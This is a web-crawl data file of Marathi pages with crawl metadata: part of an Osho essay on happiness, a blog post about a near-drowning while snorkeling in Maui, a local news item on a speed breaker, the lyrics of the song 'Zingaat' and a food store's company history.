रस्ता दिसतच नाही. म्हणूनच मी म्हणतो की, तुमची दृष्टी अंधूक आणि विपरीत आहे; म्हणूनच मला प्रश्न पडतो, तुम्हाला दृष्टी आहे की नाही\nस्वत:च्या डोळ्यांचा खऱ्या अर्थाने वापर करणारे खूप थोडे लोक आहेत. प्रत्येकाला दोन डोळे असतात, तरीही बहुतेक लोक अंध असतात. जो माणूस स्वत:च्या आतमध्ये बघत नाही, तो डोळ्यांचा वापरच करत नाही. ज्या माणसाने स्वत्वाकडे बघितलं आहे, तोच डोळ्यांचा वापर करतो. जो माणूस स्वत:कडे बघू शकत नसेल, तो खरोखर अन्य काही पाहू शकेल का\nमित्रांनो, तुम्ही स्वत:कडे बघू लागता तेव्हाच तुमच्यात बघण्याची क्षमता येते. जेव्हा माणूस स्वत:कडे बघू लागतो, तेव्हाच तो आनंदाच्या दिशेने सरकू लागतो. मग तो सुखाकडे वळून बघत नाही आणि त्याच्यातला हा बदल इतरांनाही जाणवतो. सुखाची दिशा ही स्वत:कडून जगाकडे जाणारी आहे आणि आनंदाची दिशा जगाकडून स्वत:कडे येणारी.\nआनंद ही नैसर्गिक जाणीव\nआनंद हा माणसाचा स्वभाव आहे. आनंदाची काळजी करण्याची गरजच नाही, तो अगोदरपासूनच तुमच्यात आहे, तुमच्या हृदयात आहे. तुम्ही फक्त दु:खी राहणं थांबवा, दु:ख निर्माण करणाऱ्या यंत्रणेचं काम थांबवा; पण हे करायला कोणीच तयार दिसत नाही. लोक म्हणतात, ‘मला आनंद हवाय.’ हे तर एकीकडे मला चांगलं आरोग्य हवंय, असं म्हणत दुसरीकडे आजाराला चिकटून राहण्यासारखं आहे. तुम्ही आजाराला दूर जाऊच देत नाही. तुम्ही डॉक्टरांनी दिलेली औषधं घेत नाही, सकाळी चालायला जात नाही, पोहायला जात नाही, कोणताच व्यायाम करत नाही, खाण्याचा हव्यास सोडत नाही. तुमचं आरोग्य तुम्हीच नष्ट करून टाकता आणि दुसरीकडे म्हणता की, चांगलं आरोग्य हवंय. अनारोग्यकारक यंत्रणा मात्र बदलत नाही. आरोग्य ही कुठून तरी साध्य करून आणण्याची गोष्ट नाही, ते काही साध्य नाही. आरोग्य ही पूर्णपणे वेगळी जीवनशैली आहे. तुम्ही ज्या प्रकारे जगता, त्यामुळे आजार निर्माण होतात. तुम्ही ज्या प्रकारे जगता, त्यामुळे दु:खं निर्माण होतात.\nलोक माझ्याकडे येतात आणि म्हणतात की, त्यांना आनंदी राहायला आवडेल, पण ते मत्सर सोडू शकत नाहीत. मत्सराचा त्याग तुम्ही करत नाही, तोपर्यंत प्रेम निर्माण होऊ शकत नाही. प्रेमाच्या गुलाबाला मत्सराचं तण मारून टाकतं आणि प्रेम निर्माण झालं नाही, तर तुम्ही आनंदी होऊ शकत नाही. कारण प्रेमाशिवाय कोण आनंदी होईल प्रेमाचा गुलाब तुमच्यात उमलला नाही, त्याचा सुगंध सर्वत्र पसरला नाही, तर तुम्ही आनंदी होऊच शकणार नाही.\nआता लोकांना आनंद हवा असतो, पण नुसता हवा असणं पुरेसं नाही. तुम्हाला तुमच्या दु:खाच्या जाणिवेकडे बघावं लागेल. ती कशी निर्माण झाली- तुम्ही दु:खी कसे झालात- काय होतं तुमचं तंत्र कारण आनंद नैसर्गिक आहे- जर कोणी आनंदी असेल, तर काहीच कौशल्य नाही, त्यासाठी काहीच विशेष करावं लागत नाही.\nप्राणी आनंदी असतात, झाडं आनंदी असतात, पक्षी आनंदी असतात. मानव वगळला, तर संपूर्ण अस्तित्व आनंदी आहे. दु:ख निर्माण करण्याची हुशारी केवळ मानवातच आहे. हे कौशल्य कोणाकडेही नाही. म्हणूनच तुम्ही आनंदी असता, तेव्हा सगळं सोपं असतं, निष्पाप असतं; पण तुम्ही दु:खी असता, तेव्हा तुम्ही स्वत:सोबत काही तरी महान करता, तुम्ही खूप कठोर मेहनत घेत असता.\n(‘द लाँग, द शॉर्ट अॅण्ड द ऑल’ या लेखाचा सारांश/ओशो टाइम्स इंटरनॅशनल/सौजन्य ओशो इंटरनॅशनल फाऊंडेशन/ www.osho.com)\nभाषांतर – सायली परांजपे\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00332.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2010/01/blog-post_04.html", "date_download": "2018-09-25T17:46:51Z", "digest": "sha1:PVEJPLLIVK7H7N4OCFSWVL6DWQFG4R55", "length": 21982, "nlines": 85, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: हवाहवाई - भाग ३ स्नॉर्केलिंगची जीवघेणी मजा", "raw_content": "\nहवाहवाई - भाग ३ स्नॉर्केलिंगची जीवघेणी मजा\nते हिरवे पाणकासव अखेरिस दिसले .... पंधरा एक मिनिटे आम्ही त्याचा पाठलाग करत होतो. ख्रिस मला बराच वेळ झाला ते कासव दाखवत होता. परंतु काही केल्या मला ते दिसत नव्हते. स्नॉर्केलिंग पहिल्यांदाच करत असल्यामुळे अजूनही पाण्यात तोंड घालुन तोंडाने त्या नळीतुन श्वास घेणे जमत नव्हते. आणि एकदा जर तोंडावरचा मुखवटा काढला की परत घालणेही थोडे अवघड जात होते. ख्रिस आणि दुसरा एक गोरा जोडीदार मात्र अगदी सराईतपणे त्याचा पाठलाग करत होते...\nमाऊई स्नॉर्केलिंगसाठी अतिशय प्रसिद्ध आहे. स्नॉर्केलिंग म्हणजे पाण्यावर तरंगत राहुन पाण्यात तोंड घालुन समुद्रतळ आणि परिसर न्याहाळणे. हे करत असताना डोळ्यांवर आणि नाकावर एक मुखवटा वापरायचा असतो आणि एका नळीचे एक टोक तोंडात आणि दुसरे टोक पाण्याबाहेर ठेवुन तोंडाने श्वास घ्यायचा असतो. असे केल्यामुळे अगदी कमी श्रमात तासन तास न दमता समुद्रतळ मासे कासवे आणि कोरल्स बघता येतात. अर्थात यासाठी माऊईसारखा उथळ, शांत आणि जीववैविध्याने समृद्ध असा समुद्रतळ असला तर उत्तम. माऊईबद्दल बरेच ऐकुन होतो त्यामुळे स्नॉर्केलिंग करायला मी अतिशय उत्सुक होतो. आम्ही मोलोकिनी या एका समुद्रविवरामध्ये स्नॉर्केलिंगचे आरक्षण देखील केले .. परंतु माऊईला जायच्या दिवशीच सिद्धु इतका आजारी पडला की अगदी अर्जंट केअरमध्ये नेऊन ऍण्टीबायॉटिक्स घ्यावे लागले. त्यामुळे अगदी विमान उडण्याआधी २ मिनिटे फोन करून ते आरक्षण रद्द केले. तीन दिवस दुसऱ्या गोष्टी केल्यानंतर मात्र चौथ्या दिवशी मी ठरवले की अगदी मोलोकिनी नाही ... परंतु आमच्या रिसॉर्टच्या शेजारच्या बीचवर स्नॉर्केलिंग करायचेच. सकाळी ८ वाजता जाऊन स्नॉर्केलिंगचे सिद्धु आणि माझ्या मापाचे साहित्य आणले आणि १० च्या सुमारास उलुआ बीच वर गेलो.\nपाणी तसे किंचीत थंड होते परंतु सुसह्य होते. मी आणि सिद्धु पाण्यात शिरलो. स्नॉर्केलिंगचा मास्क मी लावला तोंडावर परंतु पाण्यात गेलो की तो मास्क तोंडावरुन सुटायचा आणि नाकातोंडात पाणी जायचे. बराच वेळ तसे केले आणि शेवटी अर्धा एक लिटर खारे पाणी पिल्यानंतर मी मनात म्हटले की या गोष्टीचा नाद सोडुन द्यायला हवा. परत बीचवर आलो आणि ते साहित्य ठेवुन परतणार एवढ्यात आमच्या शेजारी बसलेल्या जोडीतला एक साठी उलटुन गेलेला माणुस (ख्रिस त्याचे नाव - मागुन कळले) मला म्हणाला, \"व्हिजिबिलिटी कशी आहे\" - अर्थात समुद्रतळ दिसतोय का व्यवस्थीत.\n\"व्हिजिबिलिटी चांगली आहे - पण मला काहीच जमत नाहीए.\" - मी\n\"मला माहित नाही. माझा मास्क सैल होतो आहे आणि मग मी नाकाने पाणी पितोय\n बघु बर\" - ख्रिस\nख्रिस आणि त्याची बायको दोघेही मला शिकवु लागले. आणि मग मला कळले की तोंडावरचा मुखवटा नाकाने श्वास घेऊन अगदी हवाबंद करायचा नसतो. फक्त लावायचा असतो. आणि त्याहुन महत्वाचे म्हणजे नळीचे तोंडाकडचे टोक अगदी तोंडात पूर्ण घालायाचे असते.\n\"चल .. आपण पाण्यात जाऊन बघु.\" - ख्रिस थोड्या वेळाने मला म्हणाला.\n\"ओ के ... चल\" - मी उत्साहात म्हणालो.\nपाण्यात जाताना पायाला माश्यासारखे पंख पण लावले कारण त्यामुळे पोहायला अजूनच मदत होते आणि कमी श्रम होतात.\nमी धीर करुन पाण्यात तोंड खुपसले आणि चमत्कार नळी तोंडात पूर्ण घातल्यामुळे अगदी व्यवस्थीत श्वास घेता येऊ लागला. ५-१०-२०-३० सेकंद झाले तरीही नाकातोंडात पाणी न जाता मी तरंगु शकलो नळी तोंडात पूर्ण घातल्यामुळे अगदी व्यवस्थीत श्वास घेता येऊ लागला. ५-१०-२०-३० सेकंद झाले तरीही नाकातोंडात पाणी न जाता मी तरंगु शकलो मग माझा घीर अजुनच वाढला. उलुआ बीचवर मध्येच एक खडकांची रांग (रीफ) समुद्रात जाते. अश्या कपारींमध्ये मासे येऊन राहतात. तिथे वनस्पतीही अधिक वाढतात. त्यामुळे आम्ही त्या रीफच्या अनुषंगाने समुद्रात आत आत जाऊ लागलो. समुद्रतळ देखील पाहण्यात प्रचंड मजा आहे. रंगीबेरंगी माश्यांबरोबर पोहोण्यात तर स्वर्गसुखच मग माझा घीर अजुनच वाढला. उलुआ बीचवर मध्येच एक खडकांची रांग (रीफ) समुद्रात जाते. अश्या कपारींमध्ये मासे येऊन राहतात. तिथे वनस्पतीही अधिक वाढतात. त्यामुळे आम्ही त्या रीफच्या अनुषंगाने समुद्रात आत आत जाऊ लागलो. समुद्रतळ देखील पाहण्यात प्रचंड मजा आहे. रंगीबेरंगी माश्यांबरोबर पोहोण्यात तर स्वर्गसुखच त्याचा आनंद घेत घेत आमची स्वारी ख्रिसच्या मागोमाग चालली होती. तो अगदी पट्टीचा पोहोणारा होता. ते कळत होते. मला तो सारखा विचारत होता की सगळे ठिक आहे ना. एकदा मला स्नॉर्केलिंगचे तंत्र जमल्यानंतर मी काळजी न करता पाय मारत मारत पुढे चाललो होतो. एव्हाना आम्हाला एक अजून जोडीदार मिळाला होता. गोरा होता पण अमेरिकन नक्कीच नव्हता. जरुरीपेक्षा जास्त सौजन्य दाखविले की कधीही समजावे ही व्यक्ती अमेरिकन नाही. अमेरिकन त्याबाबतीत अर्थवट पुणेरी आहेत ... सौजन्याची ऐशीतैशी त्याचा आनंद घेत घेत आमची स्वारी ख्रिसच्या मागोमाग चालली होती. तो अगदी पट्टीचा पोहोणारा होता. ते कळत होते. मला तो सारखा विचारत होता की सगळे ठिक आहे ना. एकदा मला स्नॉर्केलिंगचे तंत्र जमल्यानंतर मी काळजी न करता पाय मारत मारत पुढे चाललो होतो. एव्हाना आम्हाला एक अजून जोडीदार मिळाला होता. गोरा होता पण अमेरिकन नक्कीच नव्हता. जरुरीपेक्षा जास्त सौजन्य दाखविले की कधीही समजावे ही व्यक्ती अमेरिकन नाही. अमेरिकन त्याबाबतीत अर्थवट पुणेरी आहेत ... सौजन्याची ऐशीतैशी परंतु पुणेकर मात्र शिष्टाचाराची पण ऐशीतैशी करतात ते भाग वेगळा परंतु पुणेकर मात्र शिष्टाचाराची पण ऐशीतैशी करतात ते भाग वेगळा\nतर आम्ही तिघेही पुढे पुढे चाललो होतो. बराच वेळ झाला ख्रिस एक कासवांची जोडी दाखवत होता. नामशेष होण्याच्या मार्गावर असलेली हिरवी पाणकासवे होती ती. मला सुरुवातीला दिसली नाहीत. परंतु अखेरिस पाण्याच्या तळातुन सुरुवातीला अस्पष्ट आणि नंतर स्पष्ट होत गेलेले ते महाकाय कासव माझ्या डोळ्यासमोर अजुनही आहे. ६ फ़ूट व्यासाचे ते कासव होते. हळु हळु ते माझ्या अगदी जवळ आले... अगदी ४ फुटावर. आम्ही त्याच्या मागे मागे जाऊ लागलो. किती अंतर गेलो ते कळले नाही. परंतु ते जसे अनाकलनीयरित्या पाण्याच्या तळातुन वर आले तसेच झपकन ते खाली जाऊ लागले आणि अखेरिस खालच्या अंधारात लुप्त झाले.\nखाली अंधार होता याचा अर्थ पाण्याची खोली ५० फुट तरी असावी. आम्ही तिघेही अगदी अचंबीत होत आपापले मुखवटे काढत एकमेकाना विचारु लागलो की कासव पाहिले का मागे वळुन पाहिले तर समुद्र किनारा बराच लांब होता. खडकांची रांग देखील संपली होती.\n\"तुम्ही नशीबवान आहात. एवढे मोठे कासव पाहता आले\" - ख्रिस म्हणाला, \" चला परत फिरु.\"\nआम्ही सगळे परत वळलो. मुखवटे लावले आणि झपझप जाऊ लागलो. मी त्यांचे पाय पाण्यात पहात पहात जाण्याचा प्रयत्न करत होतो. पण लवकरच त्यांचे माझ्या पुढे पोहोणारे पाय दिसेनासे झाले. म्हणुन मी अंदाज घेण्यासाठी पाण्याबाहेर तोंड काढले. बघतो तर समोर अथांग समुद्र. बीच कुठेच दिसत नव्हता. मी समुद्रात आत चाललो होतो. परत मागे वळलो आणि ख्रिसच्या दिशेने जाऊ लागलो. परत थोड्यावेळाने अंदाज घेण्यासाठी तोंड बाहेर काढले तर परत मी समुद्रात आत पोहोत चाललो होतो एव्हाना त्यांच्या आणि माझ्या मध्ये बरेच अंतर पडले होते. मी तिसऱ्यांदा परत पाण्यात तोंड घातले आणि पाय मारु लागलो... परंतु एव्हाना कुठेतरी मन चुकचुकले होते. आणि एकदम नाकात खारे पाणी गेले. त्यामुळे एकदम मी मुखवटा काढला. परंतु इतका वेळ सराईतपणे स्नॉर्केलिंग करणारा मी ... आता मात्र थोडा आत्मविश्वास डळमळीत झाला होता. मी पुन्हा पाण्यात तोंड घालुन जीवाच्या आकांताने पाय मारु लागलो. आणि उजव्या पोटरीत वात आला. तेव्हा मात्र मी मुखवटा आणि नळी पूर्ण बाजुला करुन फक्त पाण्यात स्थिर होण्याचा प्रयत्न केला. असे करताना बऱ्यापैकी श्रम होतात. आणि एका पायाच्या ताकतीवर पोहायचे म्हणजे तर अतीच. किनार किमान २०० मीटर तरी लांब होता. मला आता मात्र प्रसंगाचे गांभीर्य जाणवले. आपण योग्य त्या गोष्टी केल्या नाहीत तर जीव गमावु याची जाणीव झाली. बीच वर १०० एक माणसे असली तरीही २०० मीटर आतमध्ये कोणी धडपडले आहे हे ओळखणे सोपे नाही.\nसुदैवाने ख्रिसने पुन्हा एकदा मागे वळुन पाहिले. मी जमेल तितके मोठ्याने ओरडुन म्हणालो \"हेल्प\". एकच शब्द. \"हेल्प\". दुसऱ्यांदा मात्र ख्रिसला गांभीर्य कळले. तो झपझप हात मारत माझ्या दिशेने आला. मला मोठे आश्चर्य वाटले की तो १५ सेकंदात माझ्याजवळ पोहोचला.\n\"माझ्या उजव्या पायात वात आला आहे\"\nख्रिसने माझ्या दंडाला पहिले पकडले. मी त्याला स्पर्शही केला नाही कारण बुडणारा वाचवणाऱ्याला मिठी मारतो आणि दोघेही बुडु शकतात. त्याने मला थोडासा टेकु दिल्यामुळे मला थोडी उसंत मिळाली.\n\"तुला पाठीवर पडून पोहोता येईल\n\"त्याने वात कमी होईल\"\nमी पाठीवर पडलो. त्यामुळे विश्रांती देखील मिळाली आणि वात ही कमी झाला. ३०-४० सेकंद थांबल्यानंतर तो म्हणाला \"तुला पोहोता येईल\" \"हो\" -मी. मग आम्ही हळु हळु पोहोत येऊ लागलो. एव्हाना बरेच खारे पाणी पिल्यामुळे परत स्नॉर्केलिंगचा मुखवटा घालुन पोहोणे मला शक्य नव्हते (किंवा धाडस झाले नाही). तरीही जमेल तसे पोहोत पोहोत आमची स्वारी किनाऱ्यावर आली. ख्रिसचा जीव नक्कीच भांड्यात पडला असणार आहे. परंतु तो निश्चल होता. जणु काही घडलेच नाही. त्याला अडचणीत आणल्याबद्दल मला लाज वाटत होती. मी त्याला दोन चार वेळा सॉरी म्हणालो. परंतु त्याने खांदे उडवले. तो म्हणाला \"ते सगळे विसर. कासव पाहिले की नाही\" \"हो\" -मी. मग आम्ही हळु हळु पोहोत येऊ लागलो. एव्हाना बरेच खारे पाणी पिल्यामुळे परत स्नॉर्केलिंगचा मुखवटा घालुन पोहोणे मला शक्य नव्हते (किंवा धाडस झाले नाही). तरीही जमेल तसे पोहोत पोहोत आमची स्वारी किनाऱ्यावर आली. ख्रिसचा जीव नक्कीच भांड्यात पडला असणार आहे. परंतु तो निश्चल होता. जणु काही घडलेच नाही. त्याला अडचणीत आणल्याबद्दल मला लाज वाटत होती. मी त्याला दोन चार वेळा सॉरी म्हणालो. परंतु त्याने खांदे उडवले. तो म्हणाला \"ते सगळे विसर. कासव पाहिले की नाही मजा आली ना... बस्स मजा आली ना... बस्स\nमी कालच्या लेखात लिहिले तेच पुन्हा म्हणतो ... की धैर्य उदारता आणि सहजता ही या पश्चीमेच्या जगात खूप आहे. अगदी शिकण्यासारखे आहे. ख्रिसला मी अरे-तुरे लिहित असलो तरीही हा माणुस काही लहान नाही आहे. किमान ६०-६५ वर्षांचा तरुण आहे हा व्हॅन्कुव्हर कॅनडा चा रहिवाशी आहे. त्याचे पुन:पुन: आभार मानुन आम्ही परत रिसॉर्ट वर परत आलो.\nतसा मी कठीण प्रसंगात सहसा डगमगत नाही. कारण घाबरलो, डगमगलो तर विनाश अगदी नक्कीच आहे. त्यापेक्षा शांत डोक्याने प्रसंगाला सामोरे जावे. परंतु डगमगत नाही अशी फुशारकी मारण्यापेक्षा कठीण प्रसंग येऊन न देणे यातच खरा शहाणपणा आहे. स्नॉर्केलिंगची मजा आली खरी परंतु मला विचाराल तर एकट्याने स्नॉर्केलिंग करु नये आणि अगदी खोल पाण्यात आधाराशिवाय तर मुळीच करु नये. असो ... परंतु पुन्हा सुरक्षीतपणे हे मी करेन का ... सलोनीबाई ... ऍब्सोल्युटली येस\nसलोनीचे बाबा, तुमच्या चांगलंच जीवावर बेतलं जणू...पुढच्या वेळेसाठी एक टिप आहे...वेळ मिळाल्यास नक्की पाहा....\nहैती .. आणि इतर काही ...\nहवाहवाई - भाग ३ स्नॉर्केलिंगची जीवघेणी मजा\nहवाहवाई - भाग २ माऊईदर्शन\nबाबा कॅण्ट डॅन्स साला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00333.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AD%E0%A4%BF%E0%A4%97%E0%A4%B5%E0%A4%A3-%E0%A4%B0%E0%A4%BE%E0%A4%B6%E0%A4%BF%E0%A4%A8-%E0%A4%B0%E0%A4%B8%E0%A5%8D%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B5%E0%A4%B0-%E0%A4%A1%E0%A4%BF/", "date_download": "2018-09-25T16:39:53Z", "digest": "sha1:GTXSSJAOTMATGVOKA7ZQ6ADCFFAK3ZQC", "length": 6802, "nlines": 127, "source_domain": "www.dainikprabhat.com", "title": "भिगवण-राशिन रस्त्यावर डिकसळ येथे गतीरोधक | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nभिगवण-राशिन रस्त्यावर डिकसळ येथे गतीरोधक\nडिकसळ- भिगवण-राशीन रस्त्यावर डिकसळ येथे गतीमान वाहने येत असल्यामुळे येथे अपघाताचा धोका वाढला होता. याबाबत डिकसळ ग्रामपंचायत व युवक कॉंग्रेसच्या वतीने गतिरोधकाची मागणी केली होती. सार्वजनिक बांधकाम विभागाने मागणीची दखल घेवुन बांधकाम विभागाकडून गतीरोधक बसविण्यात आला.\nभिगवण राशीन रोडवर डिकसळ (ता. इंदापूर) येथे टाकळी (ता.करमाळा, जि. सोलापूर) भिगवण स्टेशन, भिगवण व राशीन आदी ठिकाणाहून येणारी वाहने सुसाट येत असल्याने अपघाताचा धोका निर्माण झाला होता. याबाबत डिकसळ ग्रामपंचायतीचे सरपंच सुर्यकांत सवाणे, उपसरपंच सायली सुहास गायकवाड, युवक कॉंग्रेसचे तालुका उपाध्यक्ष सुनिल काळे यांनी सार्वजनिक बांधकाम विभागाकडे सातत्याने मागणी केली होती व याबाबत पाठपुरावा केला होता. सार्वजनिक बांधकाम विभागाच्या वतीने ग्रामस्थांच्या मागणीची शहानिशा करुन व तेथे गतीरोधकाची गरज ओळखुन अखेर गतीरोधक बसविण्याची मागणी मान्य केली. नुकताच सार्वजनिक बांधकाम विभागाने गतीरोधक बसविण्याचे काम पूर्ण केले. यावेळी सरपंच सुर्यकांत सवाणे, सुहास गायकवाड, इंदापूर तालुका युवक कॉंग्रेसचे उपाध्यक्ष सुनिल काळे, भिमराव माळी, हेमंतराव कुंभार, दत्तात्रय काळे आदींनी प्रत्यक्ष कामाची पाहणी केली व गतीरोधक बसविल्याबद्दल समाधान व्यक्त केले.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleडंपरने धडक दिल्याने दुचाकीवरील महिलेचा मृत्यू\nNext articleपूर्ववैमनस्यातून घराला लावली आग\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00333.warc.wet.gz", "language": "mr", "language_score": 0.82, "bucket": "all"} {"url": "http://www.ganimarathi.com/2016/05/blog-post_14.html", "date_download": "2018-09-25T17:56:54Z", "digest": "sha1:5YG3RNU6LAZOIRE2PR2YK3QJSEFDI5KM", "length": 4238, "nlines": 120, "source_domain": "www.ganimarathi.com", "title": "मराठी कविता आणि गाणी: झिंगाट - सैराट", "raw_content": "मराठी कविता आणि गाणी\nउरात होतय धड धड लाली गालावर आली\nअन् अंगात भरलय वार ही पिरतीची बाधा झाली\nआता अधीर झालोया बग बधीर झालोया\nअन तुझ्याचसाठी बनून मजनू माग आलोया\nआन उडतोय उगाट पळतोय झिंगाट\nरंगात आलया झाल झिंग झिंग झिंग झिंग झिंगाट\nआता उतावीळ झालो गुढघा बाशिंग बांधल\nतुझ्या नवाच मी इनिशिल टॅटून गोंदल\nहात भरून आलोया लय दुरून आलोया\nअन करून दाढ़ी भारी परफ्यूम मारुन आलोया\nअग समदया परात म्या लय जोरात\nरंगात आलया झाल झिंग झिंग झिंग झिंग झिंगाट\nसमदया गावाला झालीया माझ्या लग्नाची घाई\nकधी होनार तू रानी माझ्या लेकराची आई\nआता तर्राट झालोया तुझ्या घरात आलोया\nलई फिरून बांधावरून कल्टी मारून आलोया\nअता ढिंचाक जोरात टेक्नो वरात दारात आलोया\nझाल झिंग झिंग झिंग झिंग झिंगाट\nगीत - अजय अतुल\nसंगीत - अजय अतुल\nस्वर - अजय अतुल\nश्रावण मासी हर्ष मानसी\nराजा शिवछत्रपती मालिकेचे शीर्षकगीत\nनवरी आली - तुझ्या माझ्या संसाराला आणि काय हवे\nआताशा.. असे हे - आयुष्यावर बोलू काही\nतुझ्या रूपाच - ख्वाडा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00333.warc.wet.gz", "language": "mr", "language_score": 0.67, "bucket": "all"} {"url": "http://www.godbolestores.com/aboutus.aspx", "date_download": "2018-09-25T17:23:55Z", "digest": "sha1:MHX4LZ76A753HXJIAF4XNV5NCEBXHFMQ", "length": 8708, "nlines": 41, "source_domain": "www.godbolestores.com", "title": ":: Godbole Stores ::", "raw_content": "\nश्री दिनकर गणेश गोडबोले (अण्णा) यांनी १९५६ साली दुकानाची स्थापना केली. गोडबोले क्लीनर्स नावाने सुरु केलेली laundry श्री. दिनकर गोडबोले व सौ. सुमती गोडबोले यांच्या अथक परिश्रमांमुळे वर्षभरातच चांगली चालावयास लागली. गोडबोले जोडप्याने laundry व्यवसायात चांगला जम बसवला. त्या काळी ब्राम्हण जोडप्याने 'कपडे धुवून देणाऱ्या' व्यवसायात केलेली प्रगती ह्यामुळे चर्चेचा विषय झालेला होता. प्रचंड मेहेनत व आपल्या व्यवसायावर असलेलं नितांत प्रेम ह्यामुळे गोडबोलेंनी प्रचंड पैसा कमावला. पण १९७८ साली इस्त्रीवाल्या भैय्यांनी केलेल्या संपामुळे तसेच लेबर कोर्टात केस हरल्यामुळे गोडबोलेंनी laundry व्यवसाय बंद करण्याचा निर्णय घेतला. तो पर्यंत त्यांच्या मोठ्या कन्येचे लग्न झालेलं होत व दोन मुलं शिकत होती. दुकान बंद झालं आता पुढे काय \nसौ. सुमती दिनकर गोडबोले, पूर्वाश्रमीची अंबू चितळे, राहणार पाग, चिपळूण. श्री. बाजाप्पा चितळे, दशग्रंथी ब्राम्हण, ह्यांची कन्या सौ. रमाबाई चितळे ह्यांनी आपल्या मुलीला पाककृतीत पारंगत केलेलं होतं. आईच्या आशीर्वादामुळे सौ सुमती गोडबोले यांचा प्रत्येक पदार्थ हा उत्कृष्टच होत असे. हे पाक कौशल्य त्यांना व्यवसायात उपयोगी पडेल ह्याची त्यांना अजिबात कल्पना नव्हती.\nगोडबोले क्लीनर्स बंद झाल्यावर अण्णांना असा व्यवसाय करायचा होता जो दुसऱ्यावर अवलंबून न राहता करता येईल व त्यातूनच सौ. गोडबोलेंच्या गोडबोले स्टोअर्स चा जन्म झाला. कल्पना व पाक कौशल्य ह्यामुळे ५ पदार्थांनी चालू केलेलं दुकान वर्षभरात १०० पदार्थांवर पोहोचलं. सौ. सुमती गोडबोले ह्यांच्या अफाट कर्तृत्व व मेहेनतीच्या जोरावर त्यांनी आपल्या रायगड जिल्ह्यात असलेल्या 'कशेणे' गावी चक्क घरगुती पदार्थांचा कारखाना टाकला. पण १९९४ साली कुठलाही आजार झालेला नसताना श्री दिनकर गणेश गोडबोले यांना देवाज्ञा झाली.\nसौ गोडबोलेंचा मुलगा सचिन दिनकर गोडबोले हा M' com होऊन essaye -terooka ह्या जपानी कंपनीत उच्च पदावर नोकरी करत होता.वडिलांच्या निधनानंतर व आईच्या शब्दाला मान देऊन सचिनने नोकरी सोडून दुकान चालवण्याचा निर्णय घेतला.\nसचिनने दुकान ताब्यात घेतल्या बरोब्बर दुकान अद्ययावत करून घेतलं. मुंबईमधील घरगुती पदार्थ विकणाऱ्या मराठी माणसाचे 'वातानुकुलीत' दुकान झालं. दुकानात कॉम्प्युटर, बारकोड, स्कॅनर अशी अद्ययावत उपकरणे आली. सचिन कायम 'जमाने के साथ चलो ' ह्या उक्तीला धरून वागला. त्याने दुकानात diet फूड चालू केले. परदेशात राहणाऱ्या भारतीय नागरिकांसाठी instant फूड चे अर्थात तयार उत्पादनांचे उत्पादन चालू केले. अमेरिकेतील खाद्य प्राधिकरणाची परवानगी मिळवून अमेरिकेतील नातेवाईकांसाठी 'दिवाळी फराळ hamper ची त्यांची कल्पना तर अफाट लोकप्रिय झाली. फराळा सहित कंदील , उटण्याचा साबण पणत्या व रांगोळी स्टीकर पाठवून त्याने हजारो भारतीयांची मन जिंकली . भारतात असलेल्या असंख्य मातांनी जगभरातील आपल्या लाडक्यांपर्यंत स्वतः बनविलेला फराळ त्यांच्या लाडक्यांपर्यंत पोहोचवून आशीर्वाद मिळवला.\n'दिवाळी फराळ hamper' चा जनक म्हणून सचिन गोडबोलेच्या नावाची नोंद झालेली आहे. त्याला 'शिवगौरव' पुरस्काराने सुद्धा गौरविण्यात आले.\nसचिन गोडबोले M ' com\nदादर वाशी व न्यू जर्सी येथे दुकाने\n' दिवाळी फराळ hamper' चे जनक\n२००९ साली फिलाडेल्फिया येथे झालेल्या BMM च्या अधिवेशनात आपल्या पदार्थांच्या चवीमुळे वाहवा मिळवली\n२००९ साली दिवाळीत 'मराठी विश्व ' च्या दिवाळी कार्यक्रमात त्यांच्या ६०० सभासदांना फराळ पाठविला व सर्वांनाच पदार्थ आवडल्याचे इमेल द्वारे कळले.\n२००९ साली देलावर महाराष्ट्र मंडळानेही सचिनला फराळाची ऑर्डर दिली. उत्कृष्ट व वेळेवर पोहोचल्यामुळे 